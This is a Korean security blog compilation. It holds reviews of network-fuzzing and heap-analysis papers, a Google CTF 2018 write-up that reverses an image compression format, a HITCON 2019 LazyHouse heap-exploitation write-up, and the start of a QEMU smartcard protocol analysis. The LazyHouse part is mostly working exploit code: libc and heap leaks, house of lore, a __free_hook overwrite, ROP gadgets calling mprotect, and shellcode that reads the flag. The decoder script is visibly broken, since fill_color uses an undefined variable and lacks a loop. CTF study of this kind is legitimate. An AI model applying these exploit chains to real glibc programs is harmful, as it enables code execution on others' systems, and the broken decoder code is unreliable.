https://hugogascon.com/publications/2015-securecomm.pdf
https://github.com/hgascon/pulsar

주의

지극히 개인적인 의견만 들어가 있습니다. (본인도 뭘 썼는지 모르겠음)

선정 이유

AFLNet을 사용하려 시도하였지만 afl instrumentation 과정에서 실패하였다. 이에 따라 AFLNet을 포기하고 새롭게 black-box network fuzzer를 작성하였지만 feedback이 낮아 취약점을 찾지 못하는 것을 확인하였다. 따라서 feedback을 어떻게 줄 수 없을까 고민 끝에 논문을 하나 더 읽기로 결정하였고, 이에 따라 black-box network fuzzer이면서 feedback을 받아 작동하는 해당 퍼저의 논문을 읽게 되었다.

요약

구조

PULSAR는 크게 3단계로 작동한다.

  1. 모델 유도: 대상 프로토콜의 샘플 패킷 캡쳐를 통해 프로토콜 모델을 학습한다. 이는 프로토콜 상태 머신에 대한 마르코브 모델을 포함한다.
  2. 테스트 케이스 생성: 추출된 템플릿과 규칙들은 통신 과정 중 어떤 메세지 필드에 어떤 값이 들어가는지 알려준다. 이를 이용해서 테스트 케이스를 생성한다.
  3. 모델 커버리지: 모델에 대한 커버리지를 최대한 높이기 위해 시도한다.

상세 내용

기본적으로 아이디어와 구현 방법은 AFLNet과 비슷한 것 같다. Mutation이나 model coverage 개념, protocol exploration 방법이 동일하게 구현되어 있으므로 해당 내용들은 예전에 정리해 놓은 AFLNet을 보면 될 것 같다. (애초에 AFLNet에서 현재 논문을 참조한다) AFLNet과 다른점이라면 이 논문의 경우 passive learning, 즉 주어진 테스트 케이스만 가지고 프로토콜 모델을 만든다면 AFLNet의 경우 grey-box 방식으로 프로토콜 모델을 만들어 나간다. 해당 차이를 제외하고 큰 차이가 보이지 않는다.

총평

Black-box에서 피드백을 참조할 수 있게 해준다는 점에서 장점이 큰 것 같다. 하지만, 퍼징 자체가 테스트 케이스를 어떻게 주는지에 따라 달라지기 때문에 매우 불안정한 것 같다. 또한, VM 환경의 경우 해당 논문의 방법을 사용하기 힘든 것이 VM 에뮬레이터의 경우 통상적인 프로토콜을 사용하고 (proprietary protocol이 아니다) 이에 따른 테스트 케이스를 잘 생성하기가 힘들다. 따라서 네트워크 퍼징 방법에 대해 배울 수 있는 좋은 논문이지만, 참고자료로 사용하기 어려운 점이 아쉽다.

https://www.comp.nus.edu.sg/~abhik/pdf/AFLNet-ICST20.pdf
https://github.com/aflnet/aflnet

주의

지극히 개인적인 의견만 들어가 있습니다. (본인도 뭘 썼는지 모르겠음)

선정 이유

이번에 공격 벡터로 네트워크를 선택하면서 네트워크 프로토콜에 대한 퍼징 방법을 공부할 필요가 있었다. BOOFuzz와 같은 퍼저도 있었지만 그 중에서 그나마 친숙한 AFL에서 어떻게 네트워크 퍼징을 수행하였는지 알아보기 위해 해당 논문을 선택하였다.

요약

문제 특성

네트워크 프로토콜에서 퍼징을 진행하기 쉽지 않다. CGF (Coverage-based Greybox Fuzzing)이나 SBF (Stateful Blackbox Fuzzing)과 같은 여러 시도가 있었지만 네트워크 프로토콜의 특성에 따라 한계가 존재한다.

  1. 서버는 stateful하고 message-driven이다.
  2. 서버는 state에 의해 응답이 결정되기 때문에 CGF로써는 이런 특성을 잡아내는게 쉽지 않다. (State를 tracking하는 기능이 없기 때문이다)

CGF with Concatenated Files

CGF를 통해 concatenated file들을 만들어 테스트 입력으로 넣어보는 시도가 있었다. 하지만 이는 매우 비효율적인 방법이다.

  1. 각 iteration마다 전체 시드 파일에 대해 mutation을 진행해야 한다. 만약에 $m_0 \thicksim m_k$의 message sequence가 있다면 전체를 mutate하는 것보다 가장 가능성 있는 $m_i$만 mutate 하는 것이 효율적이다.
  2. 프로그램 상태에 대한 정보가 없다면 많은 message sequence들이 거절당할 수 있다.

위의 한계점들로 인해 stateful program을 퍼징하는데 가장 많이 사용되는 기술은 SBF이다.

SBF

앞에서 언급한 CGF의 한계들 때문에 SBF를 사용하여 네트워크를 퍼징하는 것을 시도하는 연구가 많았다. 이는 프로토콜 모델을 돌면서 FSM이나 그래프 형태로 메세지의 데이터 모델이나 문법을 정보를 얻고 이를 토대로 메세지 시퀀스를 생성하는데 여러 문제가 존재한다.

  • 하지만 이는 개발자가 프로토콜에 대해 얼마나 잘 이해했고 잘 구현했는지, 또 클라이언트와 서버 간의 샘플 패킷들에 의존적이다.
  • 또한 SUT에 구현되어 있는 프로토콜에 대한 정보를 정확하게 추출하지 못하는 경우가 많다.
  • 다른 여타 블랙박스 퍼징과 동일하게 인상깊은 테스트 케이스들을 보유하지 못한다. (Coverage와 같은 정보가 없기 때문)
  • 또한, 런타임에 상태 정보를 업데이트 하지 않는다.

AFLNet

위의 문제들을 보완할 수 있도록 stateful CGF 툴을 만들었다. AFLNet은 자동으로 상태 모델을 유도하고 coverage guided fuzzing을 사용하여 새로운 상태들을 찾고 상태 모델을 개선한다. 또한, 그동안 동적으로 만들어진 상태 모델은 state coverage와 code coverage에 대한 정보를 제공하여 퍼징이 더 잘 일어날 수 있도록 한다.

용어들

  • 서버 : 원격으로 접근 가능한 소프트웨어 시스템
  • 클라이언트 : 서버에서 제공하는 서비스를 사용하는 소프트웨어 시스템
  • 메세지 시퀀스 : 메세지 벡터
  • 요청 : 클라이언트로부터의 메세지
  • 응답 : 서버로부터의 메세지
  • 서버 상태 : 클라이언트와의 통신 중 서버의 특정 상태

퍼저의 경우 클라이언트로 작동하며 서버의 경우 서버로써 작동한다.

디자인 및 구성

AFLNet은 AFL의 확장 버전이라고 생각하면 된다. AFLNet은 두 채널을 제공하는데, 하나는 메세지를 서버에 보내기 위한 채널, 다른 하나는 서버에서 응답을 받기 위한 채널이다. 서버에서 응답을 받기 위한 채널은 state feedback을 받거나 code coverage를 받는데 사용한다. AFLNet은 기본적인 C 소켓 라이브러리를 사용하며, 적절한 동기화를 위해 요청 간 딜레이가 포함되어 있다.

AFLNet의 입력으로는 네트워크 트래픽을 포함한 pcap 파일을 넣어주면 된다. 넣어준 파일은 AFLNet의 Request Sequence Parser에 의해 파싱되어 초기 메세지 시퀀스를 생성하는데 사용된다.

이후 State Machine Learner가 서버 응답들을 가지고 state machine을 업데이트 한다. 그 후 업데이트 된 state machine을 Target State Selector가 참조하여 다음으로 탐색할 state를 지정한다. 각종 휴리스틱 알고리즘을 적용하여 퍼저가 어떤 state에 집중해야 할 지 지정한다. 이후 지정된 state에 도달하기 위해 Sequence Selector가 message sequence를 선택한다. 이때 AFL이 관리하는 seed corpus와 유사하게 AFLNet은 state corpus를 추가로 관리하여 state에 대한 정보들을 저장한다. 저장된 정보는 Sequence Selector가 참조하여 message sequence를 랜덤으로 선택하는데 사용된다.

Sequence Mutator는 선택된 sequence에 대한 mutation을 진행한다. 이는 generation-based approach에 비해 장점이 있는데, (1) 비교적 유효한 message sequence를 생성할 수 있고, (2) 특정 중요한 message sequence에 변형을 가해 corpus를 더 발전시킬 수 있다.

Mutation 과정은 아래와 같다.

Algorithm : State $s$와 message sequence $M$이 주어졌을 때 해당 알고리즘은 새로운 message sequence $M'$를 생성한다.

  1. Original sequence $M$을 3 파트로 나눈다.
    1. Prefix $M_1$ : state $s$에 도달하기 위한 sequence
    2. Candidate subsequence $M_2$ : state $s$에 남아 있을 수 있으면서 실행 가능한 message subsequence
    3. Suffix $M_3$ : 나머지 sequence 부분 ($<M_1, M_2, M_3> = M$)
  2. 새로운 sequence $M'$를 $M'=<M_1, mutate(M_2), M_3>$로 생성한다.
    • Protocol-aware mutation operator $mutate$를 사용한다. 주어진 corpus $C$에서 (Message Pool) message를 가져와 이와 기존 message와 replacement, insertion, duplication, deletion 등의 작업을 수행한다. 또한, 기존 mutation 방법인 bit flipping, substition, insertion, deletion of blocks 등의 작업도 수행한다.
  3. 새롭게 생성된 $M'$를 중요하다고 판단하고 이를 corpus $C$에 추가한다. 또한, sequence에 의해 새로운 state나 state transition이 발견될 경우 해당 sequence를 중요하다고 판단한다.

총평

정확한 알고리즘이나 방법에 대해서는 서술이 되어 있지 않지만 소스코드가 주어져 있으며 case study가 나름 잘 되어 있어서 더 깊게 이해하는데 어려움이 없을 것으로 생각된다. 또한, 아키텍쳐가 상당히 명확해서 이해하기가 쉬웠다.
다만 아쉬운 점은 IP와 같은 프로토콜의 경우 체크섬이 있는데 해당 체크섬을 어떻게 통과할 수 있는지에 대한 서술이 없다는 것이다. 또한, IPSM을 어떻게 생성해 나가는지에 대한 설명도 없어 아쉽다.

https://arxiv.org/pdf/2001.09592.pdf

주의

지극히 개인적인 의견만 들어가 있습니다. (본인도 뭘 썼는지 모르겠음)

Problem Statement

네트워크 프로토콜을 하는데에는 많은 어려움이 있다. 첫째, 네트워크 프로토콜은 사이즈가 크고 복잡하다. 둘째, 테스트와 검증을 통해 에러를 얻는데까지 걸리는 시간이 길다. 셋째, 실제 환경에서 테스트하는 것과 가상의 환경에서 테스트 하는 것과 상황이 다르다.
네트워크 프로토콜을 퍼징하는데 많은 시도가 있었다. 퍼징만 사용하여 네트워크를 테스트하거나 symbolic execution만을 사용하여 네트워크를 테스트하려는 시도들이 있었지만 low coverage 문제나 path explosion 문제가 있었다. 따라서 둘을 섞어 네트워크를 퍼징하려 한다.

Summary

FuSeBMC는 퍼징만으로 탐색하기 어려웠던 부분들을 symbolic execution과 BMC(Bounded Model Checking) 엔진으로 해결한다. 총 다섯단계로 퍼징이 진행되는데, 아래와 같다.

  1. Protocol specification analyzer가 concrete packet을 만든다.
  2. AFL을 통해 테스트 케이스를 생성한다. 그 뒤 function coverage를 측정한다.
  3. 너무 많은 경로들을 지나면서 해당 경로들이 code coverage를 늘린다면 (i.e invalid packet) 이들을 symbolic packet으로 마킹한다.
  4. Path-based symbolic execution과 BMC를 통해 path들을 개척한다.
  5. Concrete packet에 symbol 들을 붙여서 symbolic packet으로 바꾼다.

아래 두 기준을 이용하여 퍼저를 평가하였다.

  1. Protocol specification에 대해 버그를 찾는 능력
  2. 버그를 찾기까지 걸리는 시간

또한, 실험적 목표는 아래와 같다.

  1. EG1 (취약점 감지) : Real-world network protocol 구현들에서 취약점을 찾을 수 있는가
  2. EG2 (witness validation) : 감지된 취약점에서 좀 더 많은 정보를 얻을 수 있는가 (취약점에 대한 정보)

ESBMC, KLEE, Map2Check, SPIKE를 간단한 FTP 서버에 적용시킨 뒤 실험한 결과 ESBMC만 EG1을 달성할 수 있었다. 또한 ESBMC를 적용하였을 때 bad state까지 도달하는 경로를 얻을 수 있었고, 이는 EG2를 달성한 것과 동치이다.

Strengths

퍼징과 Symbolic execution의 한계를 깨며, 단시간에 취약점을 찾을 수 있다는 것에서 장점을 보이고 있다.

Weaknesses

아래와 같은 부분이 애매하거나 잘 서술되어 있지 않다.

  1. Protocol specification을 어떻게 읽었는지
  2. Fuzzing exploration 전략이 무엇인지
  3. Concrete packet, symbolic packet의 정의가 무엇인지
  4. Symbolic marking의 과정이 무엇인지
  5. Coverage를 측정하기 위한 instrumentation 방법은 무엇인지 (AFL을 사용했다고 서술되어 있지만 정확하지 않다)
  6. Symbolic execution을 어떤 방식으로 수행했으며, input validation을 어떤 프레임워크로 수행했는지
  7. Driller와 차이가 무엇인지
  8. 네트워크 프로토콜에서 symbolic execution과 기존 퍼징 방법을 섞어야 되는 이유가 정확히 무엇인지 (프로토콜의 특성이 사유가 될 수 있는지)

또한 평가 방법에도 문제가 많다.

  1. FTP 서버에 대해 퍼징을 수행했는데 다른 퍼저들은 얼마나 빨리 취약점을 찾는지
  2. 테스트를 몇회 수행했는지 (시드 생성 등에 랜덤한 요소가 있기 때문에)
  3. FTP 서버와 서버를 하나 새롭게 만들어서 테스트를 수행했는데 이렇게 했을 때 리얼월드에서 평가를 진행했다고 할 수 있는지

Further Discussions

네트워크 프로토콜의 특성에 따른 퍼징 기법으로 무엇이 적절할지 더 논의가 필요해 보인다. 또한, 리얼월드에 가까운 방법으로 퍼저를 평가할 수 있는 방법이 무엇일지도 논의가 필요해 보인다.

https://www.usenix.org/system/files/conference/usenixsecurity18/sec18-eckert.pdf

주의

지극히 개인적인 의견만 들어가 있습니다. (본인도 대체 뭘 썼는지 모르겠음)

선정 이유

CVE-2019-6778 을 분석하다 보니 heap과 유사한 점들을 찾았다.

  1. malloc, free와 같은 transaction에 의해 내부 state가 변하는 것이 동일하고 (패킷이 들어왔을 때 state가 변한다)
  2. 패킷이 들어왔을 때 발생하는 특정 메모리 시퀀스가 존재한다.

이런 상황에서 오버플로우와 같이 명확한 취약점이 존재하지 않더라도 동적 메모리 부분에서 버그를 찾을 수 있지 않을까라는 생각에 해당 논문을 선정하였다. 해당 논문을 통해 transaction에 의한 state transition이 있는 모델에서 취약점을 찾는 방법을 배우고자 한다.

요약

모델

모델은 (Heap Interaction Model) 3요소로 구성되어 있다.

  1. Heap-state : 현재 힙 상태를 말한다. mmaped memory, allocated chunks, freed chunks 로 구성된다.
  2. Transactions : malloc, free, overflow등으로 state transition이 일어날 수 있는 행동들을 정의한다.
  3. New heap-state : transaction에 의해 변한 heap state다.

모델은 위와 같이 주어져 있지만 실제 바이너리에서 분석을 진행한다고 할 때 transaction만 API로써 정의되어 있을 뿐 정확한 heap-state는 dynamic allocator의 버전마다 다르기 때문에 사실상 알려져 있지 않다고 보면 된다.

마지막으로, transaction 수를 제한하여 symbolic execution의 문제인 path explosion과 constraint complexity를 어느정도 해소한다.

Transactions

Transaction을 usage와 mis-usage로 분류할 수 있다.

  • Usage : malloc, free와 같이 정상적으로 처리되는 경우이다.
  • Mis-Usage : overflow, UAF, Double Free, Fake Free와 같이 정상적이지 않은 행동들이다.

이들에 대한 간단한 예시를 들면 아래와 같다.

malloc

size에 해당하는 symbolic value가 주어졌을 때 아래 3가지가 발생한다.

  1. Return : addr, actual size에 해당하는 symbolic value들이 발생한다.
  2. Constrains : 주어진 size에 대해 actual size가 달라지기 때문에 이에 대한 constrain들이 주어지게 된다.
  3. Modifies : heap-state의 변화가 정의된다.

UAF

Freed chunk에 해당하는 addr와 actual value가 주어지고 특정 symbolic data가 주어지면 UAF에 의해 symbolic byte들로 metadata overwrite가 발생하거나 heap state가 변화한다.

Interaction Model

주어진 transaction sequence를 가지고 permutation을 만들고, permutation을 소스코드로 변환한다. (PoC가 될 수도 있는 후보들) Permutation에는 무조건 하나 이상의 mis-use가 포함되어 버그가 발생할 수 있어야 한다. 그 뒤 소스코드를 컴파일해서 바이너리로 변환한다. 단, 이 과정에서 symbolic memory를 사용할 수 있도록 instrumentation 과정을 거쳐야 한다.

Model Checking

Symbolic execution을 사용하여 앞 단계에서 생성한 바이너리를 실행한다. (Shared library도 같이 실행됨) 이 과정에서 mmap이나 brk와 같은 system call도 시뮬레이팅하며 (angr 프레임워크를 사용하기 때문) DFS를 통해 속도를 향상한다. (하나의 path를 하나의 contraint set에 대응시킨다)

Security Violation Identification

Symbolic execution을 통해 아래 4개의 state들을 검색한다.

  1. OA (Overlapping Allocation)
  2. NHA (Non-Heap Allocation)
  3. AW (Arbitrary Write)
  4. AWC (Arbitrary Write Constraint) : AW가 가증하지만 특정 content가 존재하는 부분만 쓰기 가능

PoC Generation

Symbolic data를 concrete data로 바꿔서 PoC 코드를 생성한다.

전체 아키텍쳐

총평

Symbolic execution을 통해 transaction based model을 테스트한다는 것이 인상적이었다. 하지만 네트워크에 넣어서 적용시키는데에는 한계점이 있다. 만약에 네트워크에서 mis-use를 정의할 수 있고 해당 mis-use를 통해 익스플로잇을 하는데 어려움이 많다면 해당 프레임워크를 수정해서 사용하는 것도 나쁘지 않은 것 같다.

Introduction

When we peek at file given by the challenge, the file starts with GCTF(which might mean google ctf), and we don't find any noticable information from this file. So for more information, we tried to send some random data to remote server.

a
Expected P6 as the header

The server expects us to send P6 as the header. So we tried to send P6 and some random data.

P6
a
Expected width and height

The server expects us to send width and height, so we sent it.

P6
300 300
a
Expected 255

Now the server expects 255, so we sent 255 instead of a. Then the server starts to receive data. So we tried to limit the width and height to 1 and send some random data.

[+] Opening connection to proprietary.ctfcompetition.com on port 1337: Done
[DEBUG] Sent 0x3 bytes:
    'P6\n'
[DEBUG] Sent 0x4 bytes:
    '1 1\n'
[DEBUG] Sent 0x4 bytes:
    '255\n'
[DEBUG] Sent 0x3 bytes:
    '\x11' * 0x3
[DEBUG] Received 0x10 bytes:
    00000000  47 43 54 46  01 00 00 00  01 00 00 00  00 11 11 11  │GCTF│····│····│····│
    00000010
[*] Closed connection to proprietary.ctfcompetition.com port 1337

It receives 3 bytes and prints out data.

Observation

We tried to figure out what the result that the server gives means. By testing several test data, we figured out some information.

  1. The server receives $3 \times width \times height$ length data.

  2. The result contains GCTF at start, 4 bytes which indicate width, 4 bytes which indicate height, and the result data after 12 bytes.

    So we guessed that the server receives 24-bit color mapped picture, compress that data, and prints out GCTF+width+height, and result.

Analysis

We tried giving the server random data of width 2, height 2. Then, we figured out some rules of how the server compresses our data.

Input : ffffffffffffffffffaaaaaa
Output : 
47435446
02000000
02000000
08ffffff
00aaaaaa

Input : ffffffaaaaaaffffffffffff
Output :
47435446
02000000
02000000
02ffffff
00aaaaaa

Input : ffffffaaaaaaffffffaaaaaa
Output : 
47435446
02000000
02000000
0affffff
00aaaaaa
00aaaaaa

Input : aaaaaaffffffaaaaaaffffff
Output : 
47435446
02000000
02000000
0aaaaaaa
00ffffff
00ffffff

Input : aaaaaaffffffffffffffffff
Output : 
47435446
02000000
02000000
01ffffff
00aaaaaa

Input : ffffffffffffaaaaaaffffff
Output : 
47435446
02000000
02000000
04ffffff
00aaaaaa

Input : ffffffffffffaaaaaaaaaaaa
Output : 
47435446
02000000
02000000
0cffffff
00aaaaaa
00aaaaaa

The input and output are expressed in hex values, and output is split with newline after every 4 bytes. We figured out the result follows the rules:

  1. 4 bytes are indexed with 1, 2, 4, 8 in order.
  2. Choose dominant color. If the number of dominant color is same with the number of second dominant color, choose the color which appears faster.
  3. Sum up indexes of non-dominant colors. For example, if input is ffffff/ffffff/aaaaaa/aaaaaa, then we get dominant color ffffff, the sum of indexes is 4+8=0xc.
  4. Concatenate the summation we calculated above next to the dominant color. Then we reverse the bytes and print out to result.
  5. We now concatenate a null byte next to non-dominant color. Then we reverse the bytes and print out to result. We repeat this task sequentially for every non-dominant color.

We also tried other data and we figured out if two color data is close enough(up to about 0x12 difference in color bytes), then they are considered as same color.

After we figured out the compression rules of 2 x 2 images, we started to test 4 x 4 images. Then, we figured out the following rules.

  1. 4 pieces(which are 2 x 2 images) are indexed with 1, 2, 4, 8 in order.
  2. Check these pieces if one piece is filled with a single color. If there are no such piece, print 0x0f and follow the rules of 2x2 in order.
  3. If at least one piece is filled with a single color, sum up indexes of pieces that are not consisted of a single color. Then, we print the reverse of color+sum, and we follow the rules of 2x2 in order, excluding pieces of single color.

Next we expanded our test data to 8 x 8, and we figured out that the compression algorithm is in recurrence relation(with base condition with 2 x 2 piece).

Rules

Basic condition

  1. If two colors have difference lesser than 0x12 in their bytes, they are considered as same color.

Rules in 2 x 2

  1. 4 colors are indexed with 1, 2, 4, 8 in order
  2. Choose one dominant color. Next, we write that color in front, with their bytes reversed.
    ex) If the dominant color is 0x343536:
    If the dominant color is at 2, 4, then the compression result is 0x09363534. (0x09 = 1+8)

Rules in 4 x 4

  1. 4 pieces(2 x 2 images) are indexed with 1, 2, 4, 8 in order.

  2. We inspect 4 pieces and check if there is a piece filled with a single color. If such piece doesn't exist, add 0x0f to result.

  3. If there are at least one piece filled with a single color, sum up numbers of indexes of pieces that are not filled with single color. For example, if 2, 4 pieces are not filled with a single color, the result is 0x09.

    ex) 0x11 0x11 0x33 0x33

      0x11  0x11  0x33  0x55
      0x55  0x55  0x77  0x77
      0x99  0x99  0xbb  0xbb

    (I wrote one byte assuming 3 bytes of color are all same. (0x11 = 0x111111))
    1) If there is a piece filled with a single color : at index 1 :arrow_right: 0x0e111111 (If there is no such piece, just add 0x0f)
    2) We checked the first piece is filled with a single color : pass.
    3) dominant : 0x33 : 0x08333333

     non dominant : 0x00555555

    4) dominant : 0x55 : 0x0c555555

     non dominant : 0x00999999
     non dominant : 0x00999999

    5) dominant : 0x77 : 0x0c777777

     non dominant : 0x00bbbbbb
     non dominant : 0x00bbbbbb

Rules in n x n

  1. If n is not 2^k, we fill empty spaces with 0x000000 padding.
  2. We now split the data with 2 x 2, follow the recurrence relation defined in 4 x 4 rules, with base condition rules defined in 2 x 2 rules.

Solve

We now know how the compression algorithm works. Now we write decompress code and get the flag.

from pwn import *

data = open("flag.ctf", "rb").read()

seek = 12

# color_data[height][width]
color_data = [[0x00 for i in xrange(1024)] for j in xrange(1024)]

# fill color from sx(width), sy(height) to tx, ty
def fill_color(sx, sy, tx, ty, color):
        for j in xrange(sy, ty):
            color_data[j][i] = color

# do recursion from sx(width), sy(height) with size(current block size)
def do_recursion(sx, sy, size):
    global data
    global seek
    global color_data
    # base condition
    if size == 2:
        byte_filter = bin(ord(data[seek]))[2:]
        byte_filter = "0"*(4-len(byte_filter)) + byte_filter
        seek += 1
        byte_color = u32(data[seek:seek+3]+"\x00")
        seek += 3
        for i in xrange(4):
            if byte_filter[3-i] == '1':
                color_data[sy+i/2][sx+(i%2)] = u32(data[seek+1:seek+4]+"\x00")
                seek += 4
            else:
                color_data[sy+i/2][sx+(i%2)] = byte_color

    # recurrence relation
    else:
        byte_filter = bin(ord(data[seek]))[2:]
        byte_filter = "0"*(4-len(byte_filter)) + byte_filter
        seek += 1
        if byte_filter == "1111":
            do_recursion(sx, sy, size/2)
            do_recursion(sx+size/2, sy, size/2)
            do_recursion(sx, sy+size/2, size/2)
            do_recursion(sx+size/2, sy+size/2, size/2)
        else:
            byte_color = u32(data[seek:seek+3]+"\x00")
            seek += 3
            for i in xrange(4):
                if byte_filter[3-i] == '1':
                    do_recursion(sx+(i%2)*size/2, sy+(i/2)*size/2, size/2)
                else:
                    fill_color(sx+(i%2)*size/2, sy+(i/2)*size/2, sx+(i%2)*size/2+size/2, sy+(i/2)*size/2+size/2, byte_color)

do_recursion(0, 0, 1024)

bmp_header = "42 4D B6 FC 0A 00 00 00 00 00 36 00 00 00 28 00 00 00 58 02 00 00 90 01 00 00 01 00 18 00 00 00 00 00 80 FC 0A 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00".replace(" ", "")
bmp_header = bmp_header.decode("hex")

# result is color data
with open("result.bmp", "w") as f:
    f.write(bmp_header)
    for i in xrange(400):
        for j in xrange(600):
            dat = hex(color_data[400-i][j])[2:]
            if len(dat) % 2 == 1:
                dat = "0"+dat
            dat = dat.decode("hex")
            assert len(dat) <= 3
            dat = "\x00"*(3-len(dat))+dat
            f.write(dat)

Flag : CTF{P1c4s0_woU1d_B3_pr0UD}

'보안 > CTF Writeups' 카테고리의 다른 글

Google CTF 2018 Proprietary Format write-up  (0) 2021.01.19
HITCON 2019 Quals LazyHouse Writeup  (0) 2021.01.19
SSTF Hacker's Playground Write-up  (0) 2021.01.19

https://github.com/candymate/pwn/tree/master/HITCON%202019%20Quals/lazyhouse

Description

My teammate, Lays, wants a house. Can you buy one for him?
flag: /home/lazyhouse/flag

nc 3.115.121.123 5731

Analysis

The problem is just a simple menu heap challenge, with some seccomp rules. (like execve being blocked) In this challenge, we can allocate, free, print chunks, as well as two chances of modification + 32 byte overflow, and 1 malloc chance.

The allocation of chunk needs size and money, where size is bigger than 0x7f, and money is bigger than 218*size. The allocation uses calloc to get chunk, so it doesn't use tcache in allocation. Moreover, the number of entries in chunk list is 8, so we can get 8 different chunks in maximum.

Freeing chunks refunds money of size*64, and it deletes chunk from the bss list, so it's impossible to free same chunk multiple times.

We can print chunks with write function if the chunk is in the house list. Also, we have 2 chances to upgrade house, which allows us to modify content of chunk + 32 bytes of heap overflow. We can also allocate chunk with size 0x220, with malloc once.

Bug

There is a bug in buying house, which allows us to buy houses with negative size. In buying house, it compares unsigned size with signed 0x7f, so we can give size with negative value. However, we need to ensure that 218*size is lesser than our money, since it performs unsigned comparison.

Also, there is an intended bug in upgrading house, which allows us to do 32 byte heap overflow twice.

Exploit

Money cheat

Because unsigned size value we give in buying house is compared with signed 0x7f, we can give negative size to buy house, and sell it to increase our money. So we can make our money super large by buying house with proper size, and selling it.

# money cheat
polluted_size = -(((219 << 64) / 218) % (1 << 64))
r.sendlineafter("choice: ", "1")
r.sendlineafter("Index:", "0")
r.sendlineafter("Size:", str(polluted_size))
r.interactive()
sell_house(0)

Libc and tcache struct address leak by chunk overlapping 2

By using chunk overlapping 2 (Link), we can leak libc and heap address. Two chunks are overlapped for later processes.

# filling tcaches
for i in xrange(7):
  buy_house(0, 0x88, "Z")
  sell_house(0)
for i in xrange(7):
  buy_house(0, 0x98, "Z")
  sell_house(0)
for i in xrange(7):
  buy_house(0, 0x1f8, "Z")
  sell_house(0)

buy_house(0, 0x88, "A")
buy_house(1, 0x98, "B")
buy_house(2, 0x418, "C") # chunk to be overlapped
buy_house(3, 0x418, "D") # chunk to be overlapped
buy_house(4, 0x98, "E")
buy_house(5, 0x88, "F") # chunk to block coalescing

sell_house(4)
upgrade_house(0, "G"*0x88+p64(0xa0+0x420+0x420+1))
sell_house(1)

# leak libc address
buy_house(1, 0x98, "H") # size is 0x98 to write arena address in 2

libc_leak = u64(show_house(2)[0:8])
log.success("libc leak addr : "+hex(libc_leak))

libc_base = libc_leak - 0x7fb657832ca0 + 0x7fb65764e000
free_hook = libc_base + libc.symbols['__free_hook']
system = libc_base + libc.symbols['system']

# cleanup
sell_house(5)
sell_house(1)
sell_house(0)

# leak heap address
payload = "K"*(0x90+0xa0-8)
payload += p64(0x31) # fake size 0x31 (2nd entry of tcache entries)
payload += "L"*0x418
payload += p64(0x21) # fake size 0x21 (1st entry of tcache entries)
payload += "L"*0x18
payload += p64(0x401)
buy_house(4, 0x90+0xa0+0x420+0x420-8, payload)

# free two chunks to put them in tcache struct
sell_house(2) # to 0x31 entry
sell_house(3) # to 0x21 entry

# leak tcache struct addr (actually tcache key in 2.29)
heap_leak = u64(show_house(4)[0x138:0x140])
log.success("heap leak addr : "+hex(heap_leak))
chunk_base = heap_leak-0x10

House of Lore to overwrite free hook

In tcache struct, tcache count list and tcache entries are adjacent. Because of that, we can create fake chunk structure in tcache struct, by putting 1st and 2nd tcache entry by freeing chunks size 0x20 and 0x30, and fake size (in this case, 0x301)by freeing chunks size 0x3a0 and 0x3b0. After house of lore, tcache entries will be overwritten, so that we can do arbitrary write by buying super house.

# house of lore
buy_house(4, 0x90+0xa0+0x420-8+0x10, "M")
buy_house(5, 0x1f8, "N")
buy_house(6, 0x1f8, "O")

sell_house(5)
buy_house(5, 0x4b8, "P")

payload = "Q"*(0x90+0xa0-8+0x10)
payload += p64(0x421) # restore chunk size
payload += p64(chunk_base+0x40) # fake chunk 2
payload += "R"*0x410
payload += p64(0x201) # for checking (looks like size)
payload += p64(libc_leak-96+592) # fake chunk 1
payload += p64(chunk_base+0x40) # fake chunk 1
upgrade_house(4, payload)

buy_house(1, 0x1f8, "S")

# pre process for super size house
buy_house(0, 0x217, "PLUS")
sell_house(0)

# fake size in tcache struct (0x301)
buy_house(0, 0x398, "Z")
sell_house(0)
for i in xrange(3):
  buy_house(0, 0x3a8, "Z")
  sell_house(0)

# overwrite tcache entries
target = free_hook
log.info ("target: " + hex(target))
payload = ""
payload += "/bin/sh\0"+p64(target)*17*2 
buy_house(0, 0x1f8, payload)

Call mprotect and run shellcode

Overwrite __free_hook to call mprotect, then run shellcode.

xchg_gadget = libc_base + 0x0000000000158023
call_mprotect = libc_base + 0x0000000000117590
how_gadget = libc_base + 0x00000000001080fc
push_rdi_ret = libc_base + 0x000000000004c745
log.info ("b * {}".format (hex(how_gadget)))
ss = p64(how_gadget)
buy_super_house(ss)

pay = p64(call_mprotect) + p64(heap_leak + 0x4ff0) 
context.arch = 'amd64'
context.os = 'linux'

sc = asm(shellcraft.amd64.open ("/home/lazyhouse/flag", 0))
sc += asm(shellcraft.amd64.read ('rax', 'rsp', 100))
sc += asm(shellcraft.amd64.write (1, 'rsp', 100))
pay2 = p64(heap_leak+0x4220) + "\x90" * 0x20 + sc
print len (pay2)
buy_house (2, 0x850, "ASDF")
buy_house (7, 0x200, pay)
buy_house (3, 0x200, pay2)

r.sendafter("choice: ", "3".ljust(0x20, "b"))
r.sendafter("Index:", "7".ljust(32,"a"))
#sell_house(0)
sell_house (3)
r.interactive()

Full code

Link

'보안 > CTF Writeups' 카테고리의 다른 글

Google CTF 2018 Proprietary Format write-up  (0) 2021.01.19
HITCON 2019 Quals LazyHouse Writeup  (0) 2021.01.19
SSTF Hacker's Playground Write-up  (0) 2021.01.19

주의

여기에 남긴 내용은 지극히 개인적인 의견들입니다. 틀릴 가능성이 80% 이상입니다.

소개

CCID (Chip Card Interface Device) 프로토콜은 스마트카드 (USB) 에서 사용하는 프로토콜이다. 이는 스마트카드가 하나의 보안 토큰으로 사용될 수 있게 한다. (주로 Two-factor authentication에 사용된다) QEMU의 경우 스마트카드 사용 옵션을 붙여서 컴파일을 해주면 게스트에서 해당 디바이스를 사용할 수 있고, 이를 공략하기 위해 해당 프로토콜을 분석한다.

프로토콜에 대한 공식적인 문서는 링크에 포함되어 있다. 하지만, 프로토콜에 대한 설명이 너무 장황한 데에다가 하드웨어 부분들도 모두 설명되어 있기 때문에 공식 문서를 통해 프로토콜에 대한 정보를 얻는 것은 많이 어렵다. 따라서 본인은 QEMU에 구현된 에뮬레이터 코드를 보고 프로토콜에 대한 정보를 얻으려 한다.

본문

디바이스 특성

디바이스는 캐릭터 디바이스 형태로 구현되어 있으며 QEMU 게스트 안에서 /dev/bus/usb/001/002 형태로 나타난다. 디바이스 이름은 GemPC433-Swap으로 이를 검색해보면 스마트카드 디바이스임을 확인할 수 있다.

vm@vm:/dev/bus/usb/001$ lsusb
Bus 001 Device 002: ID 08e6:4433 Gemalto (was Gemplus) GemPC433-Swap
